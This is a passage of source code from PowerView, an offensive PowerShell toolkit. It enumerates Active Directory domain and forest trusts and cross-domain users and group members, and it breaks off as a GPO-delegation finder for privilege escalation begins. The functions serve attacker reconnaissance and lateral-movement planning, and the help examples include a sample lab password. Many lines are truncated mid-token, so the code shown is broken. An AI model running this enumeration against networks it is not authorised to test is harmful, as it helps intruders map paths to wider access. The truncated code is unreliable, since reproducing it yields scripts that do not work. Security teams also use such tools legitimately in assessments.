[Parameter(ParameterSetName = 'LDAP')]
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[Parameter(ParameterSetName = 'LDAP')]
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Parameter(ParameterSetName = 'LDAP')]
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Parameter(ParameterSetName = 'LDAP')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$SSL,
[Switch]
$Obfuscate
)
BEGIN {
$TrustAttributes = @{
[uint32]'0x00000001' = 'NON_TRANSITIVE'
[uint32]'0x00000002' = 'UPLEVEL_ONLY'
[uint32]'0x00000004' = 'FILTER_SIDS'
[uint32]'0x00000008' = 'FOREST_TRANSITIVE'
[uint32]'0x00000010' = 'CROSS_ORGANIZATION'
[uint32]'0x00000020' = 'WITHIN_FOREST'
[uint32]'0x00000040' = 'TREAT_AS_EXTERNAL'
[uint32]'0x00000080' = 'TRUST_USES_RC4_ENCRYPTION'
[uint32]'0x00000100' = 'TRUST_USES_AES_KEYS'
[uint32]'0x00000200' = 'CROSS_ORGANIZATION_NO_TGT_DELEGATION'
[uint32]'0x00000400' = 'PIM_TRUST'
}
$LdapSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBas
if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchS
if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $Res
if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $Se
if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $LdapSearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) {$LdapSearcherArguments['Obfuscate'] = $Obfuscate }
$NetSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SSL']) { $NetSearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) {$NetSearcherArguments['Obfuscate'] = $Obfuscate }
}
PROCESS {
if ($PsCmdlet.ParameterSetName -ne 'API') {
if ($Domain -and $Domain.Trim() -ne '') {
$SourceDomain = $Domain
}
else {
if ($PSBoundParameters['Credential']) {
$SourceDomain = (Get-Domain -Credential $Credential).Name
}
else {
$SourceDomain = (Get-Domain).Name
}
}
}
elseif ($PsCmdlet.ParameterSetName -ne 'NET') {
if ($Domain -and $Domain.Trim() -ne '') {
$SourceDomain = $Domain
}
else {
$SourceDomain = $Env:USERDNSDOMAIN
}
}
if ($PsCmdlet.ParameterSetName -eq 'LDAP') {
# if we're searching for domain trusts through LDAP/ADSI
$SourceSID = Get-DomainSID @NetSearcherArguments
$Results = Invoke-LDAPQuery @LdapSearcherArguments -LDAPFilter "(objectClass=trustedDo
$Results | Where-Object {$_} | ForEach-Object {
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
$Props = @{}
foreach ($a in $_.Attributes.Keys | Sort-Object) {
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercert
$Props[$a] = $_.Attributes[$a]
}
else {
$Values = @()
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
$Values += [System.Text.Encoding]::UTF8.GetString($v)
}
$Props[$a] = $Values
}
}
}
else {
$Props = $_.Properties
}
$DomainTrust = New-Object PSObject
$TrustAttrib = @()
$TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | F
$Direction = Switch ($Props.trustdirection) {
0 { 'Disabled' }
1 { 'Inbound' }
2 { 'Outbound' }
3 { 'Bidirectional' }
}
$TrustType = Switch ($Props.trusttype) {
1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' }
2 { 'WINDOWS_ACTIVE_DIRECTORY' }
3 { 'MIT' }
}
$Distinguishedname = $Props.distinguishedname[0]
$SourceNameIndex = $Distinguishedname.IndexOf('DC=')
if ($SourceNameIndex) {
$SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=',''
}
else {
$SourceDomain = ""
}
$TargetNameIndex = $Distinguishedname.IndexOf(',CN=System')
if ($SourceNameIndex) {
$TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3)
}
else {
$TargetDomain = ""
}
$ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
$TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentif
$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
$DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
# $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}"
$DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType
$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',')
$DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
$DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0]
$DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0]
$DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP')
$DomainTrust
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_"
}
}
}
elseif ($PsCmdlet.ParameterSetName -eq 'API') {
# if we're searching for domain trusts through Win32 API functions
if ($PSBoundParameters['Server']) {
$TargetDC = $Server
}
elseif ($Domain -and $Domain.Trim() -ne '') {
$TargetDC = $Domain
}
else {
# see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL beh
$TargetDC = $Null
}
# arguments for DsEnumerateDomainTrusts
$PtrInfo = [IntPtr]::Zero
# 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TRE
$Flags = 63
$DomainCount = 0
# get the trust information from the target server
$Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$Domai
# Locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# Work out how much to increment the pointer by finding out the size of the structure
$Increment = $DS_DOMAIN_TRUSTS::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $DomainCount); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$SidString = ''
$Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError
if ($Result -eq 0) {
Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastE
}
else {
$DomainTrust = New-Object PSObject
$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
$DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName
$DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainN
$DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
$DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
$DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
$DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString
$DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid
$DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API')
$DomainTrust
}
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Me
}
}
else {
# if we're searching for domain trusts through .NET methods
$FoundDomain = Get-Domain @NetSearcherArguments
if ($FoundDomain) {
$FoundDomain.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET')
$_
}
}
}
}
}
function Get-ForestTrust {
<#
.SYNOPSIS
Return all forest trusts for the current forest or a specified forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
This function will enumerate domain trust relationships for the current (or a remote)
forest using number of method using the .NET method GetAllTrustRelationships() on a
System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest.
.PARAMETER Forest
Specifies the forest to query for trusts, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestTrust
Return current forest trusts.
.EXAMPLE
Get-ForestTrust -Forest "external.local"
Return trusts for the "external.local" forest.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-ForestTrust -Forest "external.local" -Credential $Cred
Return trusts for the "external.local" forest using the specified alternate credenitals.
.OUTPUTS
PowerView.DomainTrust.NET
A TrustRelationshipInformationCollection returned when using .NET methods (default).
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForestTrust.NET')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$NetForestArguments = @{}
if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential }
$FoundForest = Get-Forest @NetForestArguments
if ($FoundForest) {
$FoundForest.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET')
$_
}
}
}
}
function Get-DomainForeignUser {
<#
.SYNOPSIS
Enumerates users who are in groups outside of the user's domain.
This is a domain's "outgoing" access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser
.DESCRIPTION
Uses Get-DomainUser to enumerate all users for the current (or target) domain,
then calculates the given user's domain name based on the user's distinguishedName.
This domain name is compared to the queried domain, and the user object is
output if they differ.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainForeignUser
Return all users in the current domain who are in groups not in the
current domain.
.EXAMPLE
Get-DomainForeignUser -Domain dev.testlab.local
Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cre
Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and
using the specified alternate credentials.
.OUTPUTS
PowerView.ForeignUser
Custom PSObject with translated user property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForeignUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
$SearcherArguments['LDAPFilter'] = '(memberof=*)'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
}
PROCESS {
Get-DomainUser @SearcherArguments | ForEach-Object {
ForEach ($Membership in $_.memberof) {
$Index = $Membership.IndexOf('DC=')
if ($Index) {
$GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.'
$UserDistinguishedName = $_.distinguishedname
$UserIndex = $UserDistinguishedName.IndexOf('DC=')
$UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace
if ($GroupDomain -ne $UserDomain) {
# if the group domain doesn't match the user domain, display it
$GroupName = $Membership.Split(',')[0].split('=')[1]
$ForeignUser = New-Object PSObject
$ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain
$ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
$ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishednam
$ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
$ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
$ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership
$ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser')
$ForeignUser
}
}
}
}
}
}
function Get-DomainForeignGroupMember {
<#
.SYNOPSIS
Enumerates groups with users outside of the group's domain and returns
each foreign member. This is a domain's "incoming" access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainGroup
.DESCRIPTION
Uses Get-DomainGroup to enumerate all groups for the current (or target) domain,
then enumerates the members of each group, and compares the member's domain
name to the parent group's domain name, outputting the member if the domains differ.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainForeignGroupMember
Return all group members in the current domain where the group and member differ.
.EXAMPLE
Get-DomainForeignGroupMember -Domain dev.testlab.local
Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Crede
Return all group members in the dev.testlab.local domain where the member is
not in dev.testlab.local. binding to the secondary.dev.testlab.local for
queries, and using the specified alternate credentials.
.OUTPUTS
PowerView.ForeignGroupMember
Custom PSObject with translated group member property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForeignGroupMember')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
$SearcherArguments['LDAPFilter'] = '(member=*)'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
}
PROCESS {
# standard group names to ignore
$ExcludeGroups = @('Users', 'Domain Users', 'Guests')
Get-DomainGroup @SearcherArguments | Where-Object { $ExcludeGroups -notcontains $_.sama
$GroupName = $_.samAccountName
$GroupDistinguishedName = $_.distinguishedname
$GroupDomain = $GroupDistinguishedName.SubString($GroupDistinguishedName.IndexOf('DC
$_.member | ForEach-Object {
# filter for foreign SIDs in the cn field for users in another domain,
# or if the DN doesn't end with the proper DN for the queried domain
$MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
if (($_ -match 'CN=S-1-5-21.*-.*') -or ($GroupDomain -ne $MemberDomain)) {
$MemberDistinguishedName = $_
$MemberName = $_.Split(',')[0].split('=')[1]
$ForeignGroupMember = New-Object PSObject
$ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $GroupDomain
$ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName
$ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDis
$ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
$ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName
$ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $Membe
$ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember
$ForeignGroupMember
}
}
}
}
}
function Get-DomainTrustMapping {
<#
.SYNOPSIS
This function enumerates all trusts for the current domain and then enumerates
all trusts for each domain it finds.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust
.DESCRIPTION
This function will enumerate domain trust relationships for the current domain using
a number of methods, and then enumerates all trusts for each found domain, recursively
mapping all reachable trust relationships. By default, and LDAP search using the filter
'(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified
LDAP is used as well. If the -NET flag is specified, the .NET method
GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain
object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is
used to enumerate instead. If any
.PARAMETER API
Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the
built-in LDAP method.
.PARAMETER NET
Switch. Use .NET queries to enumerate trusts instead of the default LDAP method.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv
Map all reachable domain trusts using .NET methods and output everything to a .csv file.
.EXAMPLE
Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv
Map all reachable domain trusts using Win32 API calls and output everything to a .csv file.
.EXAMPLE
Get-DomainTrustMapping -NET | Export-CSV -NoTypeInformation trusts.csv
Map all reachable domain trusts using .NET methods and output everything to a .csv file.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainTrustMapping -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv
Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries
using the specified alternate credentials, and output everything to a .csv file.
.OUTPUTS
PowerView.DomainTrust.LDAP
Custom PSObject with translated domain LDAP trust result fields (default).
PowerView.DomainTrust.NET
A TrustRelationshipInformationCollection returned when using .NET methods.
PowerView.DomainTrust.API
Custom PSObject with translated domain API trust result fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.DomainTrust.NET')]
[OutputType('PowerView.DomainTrust.LDAP')]
[OutputType('PowerView.DomainTrust.API')]
[CmdletBinding(DefaultParameterSetName = 'LDAP')]
Param(
[Parameter(ParameterSetName = 'API')]
[Switch]
$API,
[Parameter(ParameterSetName = 'NET')]
[Switch]
$NET,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[Parameter(ParameterSetName = 'LDAP')]
[Parameter(ParameterSetName = 'API')]
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[Parameter(ParameterSetName = 'LDAP')]
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Parameter(ParameterSetName = 'LDAP')]
[Switch]
$Tombstone,
[Parameter(ParameterSetName = 'LDAP')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
# keep track of domains seen so we don't hit infinite recursion
$SeenDomains = @{}
# our domain status tracker
$Domains = New-Object System.Collections.Stack
$DomainTrustArguments = @{}
if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API }
if ($PSBoundParameters['NET']) { $DomainTrustArguments['NET'] = $NET }
if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScop
if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultP
if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $Server
if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential }
# get the current domain and push it onto the stack
if ($PSBoundParameters['Credential']) {
$CurrentDomain = (Get-Domain -Credential $Credential).Name
}
else {
$CurrentDomain = (Get-Domain).Name
}
$Domains.Push($CurrentDomain)
while($Domains.Count -ne 0) {
$Domain = $Domains.Pop()
# if we haven't seen this domain before
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
# mark it as seen in our list
$Null = $SeenDomains.Add($Domain, '')
try {
# get all the trusts for this domain
$DomainTrustArguments['Domain'] = $Domain
$Trusts = Get-DomainTrust @DomainTrustArguments
if ($Trusts -isnot [System.Array]) {
$Trusts = @($Trusts)
}
# get any forest trusts, if they exist
if ($PsCmdlet.ParameterSetName -eq 'NET') {
$ForestTrustArguments = @{}
if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential
$Trusts += Get-ForestTrust @ForestTrustArguments
}
if ($Trusts) {
if ($Trusts -isnot [System.Array]) {
$Trusts = @($Trusts)
}
# enumerate each trust found
ForEach ($Trust in $Trusts) {
if ($Trust.SourceName -and $Trust.TargetName) {
# make sure we process the target
$Null = $Domains.Push($Trust.TargetName)
$Trust
}
}
}
}
catch {
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
}
function Get-GPODelegation {
<#
.SYNOPSIS
Finds users with write permissions on GPO objects which may allow privilege escalation within the dom
Author: Itamar Mizrahi (@MrAnde7son)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER GPOName
The GPO display name to query for, wildcards accepted.
.PARAMETER PageSize
Specifies the PageSize to set for the LDAP searcher object.
.EXAMPLE
Get-GPODelegation
Returns all GPO delegations in current forest.
.EXAMPLE
Get-GPODelegation -GPOName
Returns all GPO delegations on a given GPO.
#>
[CmdletBinding()]
Param (
[String]
$GPOName = '*',
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
$Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins')
$Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$DomainList = @($Forest.Domains)
$Domains = $DomainList | foreach { $_.GetDirectoryEntry() }
foreach ($Domain in $Domains) {
$Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))"
$Searcher = New-Object System.DirectoryServices.DirectorySearcher
